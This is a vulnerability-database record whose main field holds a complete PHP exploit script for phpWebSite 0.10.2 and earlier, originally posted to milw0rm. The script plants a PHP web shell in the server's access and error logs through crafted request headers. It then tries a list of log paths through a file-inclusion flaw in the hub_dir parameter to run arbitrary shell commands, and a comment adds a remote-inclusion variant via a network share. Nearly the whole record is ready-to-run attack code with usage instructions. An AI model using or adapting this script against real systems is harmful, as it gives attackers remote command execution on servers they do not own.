DATABASE RESOURCES PRICING ABOUT US

{"href": "https://www.seebug.org/vuldb/ssvid-63474", "status": "poc", "bulletinFamily": "exploit", "modified": "2014-07-01T00:00:00", "title": "phpWebSite <= 0.10.2 (hub_dir) Remote Commands Execution Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-63474", "cvelist": [], "description": "No description provided by source.", "viewCount": 5, "published": "2014-07-01T00:00:00", "sourceData": "\n #!/usr/bin/php -q -d short_open_tag=on\n&#60;?\necho &#34;PHPWebSite &#60;= 0.10.2 remote cmmnds xctn\\r\\n&#34;;\necho &#34;-&#62; arbitrary local inclusion, works with magic_quotes_gpc = Off\\r\\n&#34;;\necho &#34;by rgod, mail: rgod@autistici.org\\r\\n&#34;;\necho &#34;site: http://retrogod.altervista.org\\r\\n\\r\\n&#34;;\n\nif ($argc&#60;4) {\necho &#34;Usage: php &#34;.$argv[0].&#34; host path cmd OPTIONS\\r\\n&#34;;\necho &#34;host: target server (ip/hostname)\\r\\n&#34;;\necho &#34;path: path to phpwebsite\\r\\n&#34;;\necho &#34;cmd: a shell command\\r\\n&#34;;\necho &#34;Options:\\r\\n&#34;;\necho &#34; -p[port]: specify a port other than 80\\r\\n&#34;;\necho &#34; -P[ip:port]: specify a proxy\\r\\n&#34;;\necho &#34;Examples:\\r\\n&#34;;\necho &#34;php &#34;.$argv[0].&#34; localhost /phpwebsite/ ls -la\\r\\n&#34;;\ndie;\n}\n\n/* explaination:\n vulnerable code in index.php at lines 21-29:\n\n...\n if (!isset($hub_dir)) {\n $hub_dir = NULL;\n}\nif (!preg_match (&#34;/:\\/\\//i&#34;, $hub_dir)) {\n loadConfig($hub_dir);\n} else {\n exit(&#39;FATAL ERROR! Hub directory was malformed.&#39;);\n}\n...\n\nand at lines 125-143:\n\n...\nfunction loadConfig($hub_dir){\n\n if (file_exists($hub_dir . &#39;conf/config.php&#39;)) {\n \tif (filesize($hub_dir . &#39;conf/config.php&#39;) &#62; 0) {\n\t include($hub_dir . &#39;conf/config.php&#39;);\n\n\t define(&#39;PHPWS_SOURCE_DIR&#39;, $source_dir);\n\n\n\t} else {\n\n\t header(&#39;Location: ./setup/set_config.php&#39;);\n\t exit();\n\t}\n } else {\n\theader(&#39;Location: ./setup/set_config.php&#39;);\n\texit();\n }\n}\n....\n\nso, you can include files from local resources, poc:\n\nhttp://[target]/[path]/index.php?hub_dir=/var/log/httpd/access_log%00\n\nyou don&#39;t see output, but we have some code in log files, it will be executed\n\nalso, on php5, arbitrary remote inclusion:\n\nhttp://[target]/[path]/index.php?hub_dir=\\\\192.168.1.3\\c\\\n\nincluding a full accessible share\nwhere on samba resource you have some code in conf/config.php\n\t\t\t\t\t\t\t\t\t */\nerror_reporting(0);\nini_set(&#34;max_execution_time&#34;,0);\nini_set(&#34;default_socket_timeout&#34;,5);\n\nfunction quick_dump($string)\n{\n $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;\n for ($i=0; $i&#60;=strlen($string)-1; $i++)\n {\n if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))\n {$result.=&#34; .&#34;;}\n else\n {$result.=&#34; &#34;.$string[$i];}\n if (strlen(dechex(ord($string[$i])))==2)\n {$exa.=&#34; &#34;.dechex(ord($string[$i]));}\n else\n {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}\n $cont++;if ($cont==15) {$cont=0; $result.=&#34;\\r\\n&#34;; $exa.=&#34;\\r\\n&#34;;}\n }\n return $exa.&#34;\\r\\n&#34;.$result;\n}\n$proxy_regex = &#39;(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)&#39;;\nfunction sendpacketii($packet)\n{\n global $proxy, $host, $port, $html, $proxy_regex;\n if ($proxy==&#39;&#39;) {\n $ock=fsockopen(gethostbyname($host),$port);\n if (!$ock) {\n echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;\n }\n }\n else {\n $c = preg_match($proxy_regex,$proxy);\n if (!$c) {\n echo &#39;Not a valid proxy...&#39;;die;\n }\n $parts=explode(&#39;:&#39;,$proxy);\n echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\\r\\n&#34;;\n $ock=fsockopen($parts[0],$parts[1]);\n if (!$ock) {\n echo &#39;No response from proxy...&#39;;die;\n }\n }\n fputs($ock,$packet);\n if ($proxy==&#39;&#39;) {\n $html=&#39;&#39;;\n while (!feof($ock)) {\n $html.=fgets($ock);\n }\n }\n else {\n $html=&#39;&#39;;\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\n $html.=fread($ock,1);\n }\n }\n fclose($ock);\n #debug\n #echo &#34;\\r\\n&#34;.$html;\n}\n\n$host=$argv[1];\n$path=$argv[2];\n$cmd=&#34;&#34;;$port=80;$proxy=&#34;&#34;;\n\nfor ($i=3; $i&#60;=$argc-1; $i++){\n$temp=$argv[$i][0].$argv[$i][1];\nif (($temp&#60;&#62;&#34;-p&#34;) and ($temp&#60;&#62;&#34;-P&#34;))\n{$cmd.=&#34; &#34;.$argv[$i];}\nif ($temp==&#34;-p&#34;)\n{\n $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);\n}\nif ($temp==&#34;-P&#34;)\n{\n $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);\n}\n}\n$cmd=urlencode($cmd);\nif (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}\nif ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}\n\necho &#34;[1] Injecting some code in log files...\\r\\n&#34;;\n$CODE =&#39;&#60;?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);}&#39;;\n$CODE.=&#39;passthru($_GET[cmd]);echo 666;die;?&#62;&#39;;\n$packet.=&#34;GET &#34;.$path.$CODE.&#34; HTTP/1.1\\r\\n&#34;;\n$packet.=&#34;User-Agent: &#34;.$CODE.&#34;\\r\\n&#34;;\n$packet.=&#34;Host: &#34;.$serv.&#34;\\r\\n&#34;;\n$packet.=&#34;Connection: close\\r\\n\\r\\n&#34;;\n#debug\n#echo quick_dump($packet);\nsendpacketii($packet);\nsleep(2);\n\n# fill with possible locations\n$paths= array (\n &#34;/var/log/httpd/access_log&#34;,\n &#34;/var/log/httpd/error_log&#34;,\n &#34;../apache/logs/error.log&#34;,\n &#34;../apache/logs/access.log&#34;,\n &#34;../../apache/logs/error.log&#34;,\n &#34;../../apache/logs/access.log&#34;,\n &#34;../../../apache/logs/error.log&#34;,\n &#34;../../../apache/logs/access.log&#34;,\n &#34;../../../../apache/logs/error.log&#34;,\n &#34;../../../../apache/logs/access.log&#34;,\n &#34;/etc/httpd/logs/acces_log&#34;,\n &#34;/etc/httpd/logs/acces.log&#34;,\n &#34;/etc/httpd/logs/error_log&#34;,\n &#34;/etc/httpd/logs/error.log&#34;,\n &#34;/var/www/logs/access_log&#34;,\n &#34;/var/www/logs/access.log&#34;,\n &#34;/usr/local/apache/logs/access_log&#34;,\n &#34;/usr/local/apache/logs/access.log&#34;,\n &#34;/var/log/apache/access_log&#34;,\n &#34;/var/log/apache/access.log&#34;,\n &#34;/var/log/access_log&#34;,\n &#34;/var/www/logs/error_log&#34;,\n &#34;/www/logs/error.log&#34;,\n &#34;/usr/local/apache/logs/error_log&#34;,\n &#34;/usr/local/apache/logs/error.log&#34;,\n &#34;/var/log/apache/error_log&#34;,\n &#34;/var/log/apache/error.log&#34;,\n &#34;/var/log/access_log&#34;,\n &#34;/var/log/error_log&#34;,\n);\n\nfor ($i=0; $i&#60;=count($paths)-1; $i++)\n{\n $j=$i+2;\n echo &#34;[&#34;.$j.&#34;] Trying with &#34;.$paths[$i].&#34;%00\\r\\n&#34;;\n $xpl=$paths[$i];\n $packet =&#34;GET &#34;.$p.&#34;index.php?cmd=&#34;.$cmd.&#34;&hub_dir=&#34;.$xpl.&#34;%00 HTTP/1.0\\r\\n&#34;;\n $packet.=&#34;Host: &#34;.$host.&#34;\\r\\n&#34;;\n $packet.=&#34;Connection: Close\\r\\n\\r\\n&#34;;\n #debug, shows packets in a nice format\n #echo quick_dump($packet);\n sendpacketii($packet);\n if (strstr($html,&#34;666&#34;)){\n echo &#34;Exploit succeeded...\\r\\n&#34;;\n $temp=explode(&#34;666&#34;,$html);\n echo $temp[1];\n die;\n }\n}\n#if you are here...\necho &#34;Exploit failed...&#34;;\n?&#62;\n\n# milw0rm.com [2006-04-14]\n\n ", "id": "SSV:63474", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T17:14:00", "reporter": "Root", "enchantments": {"score": {"value": 0.3, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.3}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645484115, "score": 1659785532, "epss": 1678850553}}

{}